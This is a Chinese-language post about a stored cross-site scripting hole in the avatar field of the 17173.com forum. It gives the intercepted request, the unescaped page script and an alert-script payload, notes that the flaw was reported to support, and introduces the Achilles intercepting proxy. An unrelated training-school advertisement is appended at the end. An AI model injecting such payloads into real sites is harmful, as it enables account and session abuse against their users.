記錄-achilles

WWW.17173.COM作為中國(guó)第一的游戲中心， 近正在進(jìn)行論壇更換，由于沒有完全制作完成就公布，遺留了不少漏洞，以下是我對(duì)頭像系統(tǒng)的研究：
頭像系統(tǒng)不允許用戶直接更改頭像的地址,但是我們可以抓
抓下來的東西如下
代碼　
face=XXX.GIF&realname=wahahame&sex=1&yyyy=1985&mm=7&dd=1&province=19&city=379&Submit=%C8%B7%A1%A1%B6%A8&Work=saveMdy

測(cè)試發(fā)現(xiàn)通過更改face可以更改頭像,但好象也僅能做到這一步?
我們還能做更多嗎?
保存一個(gè)發(fā)帖頁,關(guān)于圖象顯示的JS代碼如下

代碼　
strHTML+="<td width='20%' align='center' height='23' valign=top><a href='/show_userinfo.php?user="+oTip.owner+"' target='_blank'><b>"+oTip.nickname+"</b><br>";
strHTML+="<img src='http://my.17173.com/face/"+oTip.face+"' border=0></a><br><br>";
strHTML+="<table width= border=0 cellspacing=0 cellpadding=0 height=64>";

很顯然沒做處理.如果我們把頭像地址改為:XXX.GIF'><script>alert("無用君向大家問好");</script>會(huì)怎么樣呢
測(cè)試證明,腳本成功運(yùn)行了.......
上報(bào)技術(shù)客服
收手,沒再進(jìn)一步破壞了.

achilles是一個(gè)代理軟件。你可以在本地開一個(gè)代理
然后把IE指向他
這個(gè)代理與其他代理軟件不同的是，你可以在發(fā)送請(qǐng)求和受到請(qǐng)求的時(shí)候把數(shù)據(jù)攔截下來
并且可以修改它，然后考慮是否發(fā)送它
對(duì)于分析一個(gè)網(wǎng)站：我到底提交了什么信息；我收到的COOKIE是什么；并且修改他們很是方便
不用請(qǐng)Iris這樣的大部頭，或者NC這樣可操作性不強(qiáng)的東西了。

　　湖南省陽光電子技術(shù)學(xué)校常年開設(shè)：手機(jī)維修培訓(xùn)、家電維修培訓(xùn)、電工培訓(xùn)、電腦維修培訓(xùn)、焊工培訓(xùn)--面向全國(guó)火爆招生！網(wǎng)址：http://www.hnygpx.com 報(bào)名電話：13807313137)。安置就業(yè)。考試合格頒發(fā)全國(guó)通用權(quán)威證書。采用我校多年來獨(dú)創(chuàng)的“模塊教學(xué)法”,理論與實(shí)踐相結(jié)合、原理＋圖紙＋機(jī)器三位一體的教學(xué)模式，半天理論，半天實(shí)踐，通俗易懂，確保無任何基礎(chǔ)者也能全面掌握維修技能、成為同行業(yè)中的佼佼者。工作(一期不會(huì)，免費(fèi)學(xué)會(huì)為止)。